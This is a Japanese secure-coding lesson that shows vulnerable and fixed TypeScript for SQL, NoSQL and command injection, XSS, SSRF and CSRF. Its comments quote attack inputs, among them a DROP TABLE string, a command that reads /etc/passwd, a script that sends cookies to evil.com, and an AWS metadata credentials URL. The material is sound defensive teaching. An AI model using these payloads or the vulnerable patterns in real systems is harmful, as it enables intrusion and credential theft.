LESSON 40分

ストーリー

佐藤CTO
セキュリティパイプラインで自動検出できる脆弱性もある。だが、本当に危険な脆弱性は攻撃者の視点で見ないと分からない

佐藤CTOがOWASP Top 10のリストを広げました。

佐藤CTO
OWASP Top 10を Step 1で概観した。今回は深く掘り下げる。インジェクション、XSS、SSRF、CSRF — それぞれの攻撃メカニズムと防御方法を、コードレベルで理解しよう

インジェクション攻撃

SQLインジェクション

// 脆弱なコード: 文字列連結によるSQL構築
async function searchProducts(query: string): Promise<Product[]> {
  // 危険: ユーザー入力を直接SQL文に挿入
  const sql = `SELECT * FROM products WHERE name LIKE '%${query}%'`;
  return db.query(sql);
  // 攻撃例: query = "'; DROP TABLE products; --"
}

// 安全なコード: パラメータ化クエリ
async function searchProducts(query: string): Promise<Product[]> {
  const sql = 'SELECT * FROM products WHERE name LIKE $1';
  return db.query(sql, [`%${query}%`]);
}

// さらに安全: ORMの使用
async function searchProducts(query: string): Promise<Product[]> {
  return prisma.product.findMany({
    where: {
      name: { contains: query, mode: 'insensitive' },
    },
  });
}

NoSQLインジェクション

// 脆弱なコード: MongoDBのクエリインジェクション
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  // 危険: オブジェクトがそのまま渡される
  const user = await db.collection('users').findOne({
    username: username,
    password: password,  // { "$ne": "" } で全ユーザーにマッチ
  });
});

// 安全なコード: 入力の型検証
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;

  // 文字列型を強制
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Invalid input' });
  }

  const user = await db.collection('users').findOne({
    username: username,
    password: hashPassword(password),
  });
});

コマンドインジェクション

// 脆弱なコード
app.get('/api/ping', (req, res) => {
  const host = req.query.host;
  // 危険: シェルコマンドにユーザー入力を直接挿入
  exec(`ping -c 4 ${host}`, (error, stdout) => {
    res.send(stdout);
  });
  // 攻撃例: host = "example.com; cat /etc/passwd"
});

// 安全なコード: execFileで引数を分離
import { execFile } from 'child_process';

app.get('/api/ping', (req, res) => {
  const host = req.query.host as string;

  // バリデーション: ホスト名の形式チェック
  if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
    return res.status(400).json({ error: 'Invalid hostname' });
  }

  // execFile: シェルを介さず直接実行
  execFile('ping', ['-c', '4', host], (error, stdout) => {
    res.send(stdout);
  });
});

XSS(Cross-Site Scripting)

XSSの3種類

種類説明持続性
Reflected XSSURLパラメータ経由で反射一時的
Stored XSSDBに保存され他ユーザーに表示永続的
DOM-based XSSクライアントサイドJSで発生一時的
// Stored XSS の脆弱なコード
app.post('/api/comments', async (req, res) => {
  // 危険: サニタイズなしでDB保存
  await db.comment.create({ data: { content: req.body.content } });
});

app.get('/api/comments', async (req, res) => {
  const comments = await db.comment.findMany();
  // テンプレートでHTMLとして出力される
  // 攻撃例: content = "<script>document.location='https://evil.com/?c='+document.cookie</script>"
});

// 安全なコード: サニタイズ + CSP
import DOMPurify from 'isomorphic-dompurify';
import { z } from 'zod';

const commentSchema = z.object({
  content: z.string().max(5000),
});

app.post('/api/comments', async (req, res) => {
  const parsed = commentSchema.parse(req.body);

  // HTMLサニタイズ
  const sanitizedContent = DOMPurify.sanitize(parsed.content, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
  });

  await db.comment.create({ data: { content: sanitizedContent } });
});

// CSPヘッダーの設定(多層防御)
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],          // インラインスクリプト禁止
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", 'data:'],
    connectSrc: ["'self'"],
    fontSrc: ["'self'"],
    objectSrc: ["'none'"],
    frameAncestors: ["'none'"],     // クリックジャッキング防止
    baseUri: ["'self'"],
    formAction: ["'self'"],
  },
}));

SSRF(Server-Side Request Forgery)

SSRFは、サーバーに意図しないリクエストを発行させ、内部リソースにアクセスする攻撃です。

// 脆弱なコード: URLを制限なくフェッチ
app.post('/api/fetch-url', async (req, res) => {
  const { url } = req.body;
  // 危険: 内部リソース(メタデータサービス等)にアクセス可能
  const response = await fetch(url);
  const data = await response.text();
  res.send(data);
  // 攻撃例: url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  // → AWS IAMロールの認証情報が漏洩
});

// 安全なコード: URLの検証
import { URL } from 'url';
import dns from 'dns/promises';

async function isAllowedUrl(urlString: string): Promise<boolean> {
  try {
    const url = new URL(urlString);

    // プロトコル制限
    if (!['http:', 'https:'].includes(url.protocol)) {
      return false;
    }

    // 内部IP範囲の拒否
    const addresses = await dns.resolve4(url.hostname);
    for (const addr of addresses) {
      if (isPrivateIp(addr)) {
        return false;
      }
    }

    // 許可リスト方式
    const allowedDomains = ['api.example.com', 'cdn.example.com'];
    if (!allowedDomains.some(d => url.hostname.endsWith(d))) {
      return false;
    }

    return true;
  } catch {
    return false;
  }
}

function isPrivateIp(ip: string): boolean {
  const parts = ip.split('.').map(Number);
  return (
    parts[0] === 10 ||                                // 10.0.0.0/8
    (parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) || // 172.16.0.0/12
    (parts[0] === 192 && parts[1] === 168) ||          // 192.168.0.0/16
    (parts[0] === 169 && parts[1] === 254) ||          // 169.254.0.0/16 (メタデータ)
    parts[0] === 127                                    // 127.0.0.0/8
  );
}

app.post('/api/fetch-url', async (req, res) => {
  const { url } = req.body;

  if (!(await isAllowedUrl(url))) {
    return res.status(400).json({ error: 'URL not allowed' });
  }

  const response = await fetch(url, {
    redirect: 'manual',      // リダイレクトを追跡しない
    signal: AbortSignal.timeout(5000),  // タイムアウト
  });
  const data = await response.text();
  res.send(data);
});

CSRF(Cross-Site Request Forgery)

// CSRFトークンによる防御
import crypto from 'crypto';

// CSRFトークンの生成
function generateCsrfToken(sessionId: string): string {
  return crypto
    .createHmac('sha256', CSRF_SECRET)
    .update(sessionId)
    .digest('hex');
}

// CSRFミドルウェア
function csrfProtection(req: Request, res: Response, next: NextFunction): void {
  // GETリクエストはスキップ
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return next();
  }

  const token = req.headers['x-csrf-token'] as string;
  const expected = generateCsrfToken(req.session.id);

  if (!token || token !== expected) {
    return res.status(403).json({ error: 'Invalid CSRF token' });
  }

  next();
}

// SameSite Cookie設定(追加の防御層)
app.use(session({
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',  // クロスサイトリクエストでCookieを送信しない
    maxAge: 3600000,
  },
}));

入力検証の包括的アプローチ

// Zodによる厳格な入力検証
import { z } from 'zod';

const createUserSchema = z.object({
  name: z.string().min(1).max(100).regex(/^[a-zA-Z\u3040-\u309F\u30A0-\u30FF\u4E00-\u9FFF\s]+$/),
  email: z.string().email().max(255),
  age: z.number().int().min(0).max(150),
  role: z.enum(['user', 'admin']),
  website: z.string().url().optional(),
}).strict();  // 未定義のフィールドを拒否

app.post('/api/users', async (req, res) => {
  const result = createUserSchema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({
      error: 'Validation failed',
      details: result.error.issues,
    });
  }
  // result.data は型安全で検証済み
  const user = await userService.create(result.data);
  res.status(201).json(user);
});

まとめ

ポイント内容
SQLインジェクションパラメータ化クエリまたはORMを使用
XSS出力エスケープ、DOMPurify、CSPヘッダー
SSRFURL検証、内部IPブロック、許可リスト方式
CSRFCSRFトークン、SameSite Cookie、Origin検証
入力検証Zodによる厳格なスキーマ検証

チェックリスト

  • SQLインジェクションの攻撃メカニズムと防御方法を説明できる
  • XSSの3種類と各防御策を実装できる
  • SSRFの危険性とURL検証の実装方法を理解した
  • CSRF防御をCookieとトークンで実装できる
  • Zodを使った包括的な入力検証を設計できる

次のステップへ

次は「ペネトレーションテストの基礎」を学びます。攻撃者の視点でシステムの脆弱性を発見する方法論とツールを身につけましょう。


推定読了時間: 40分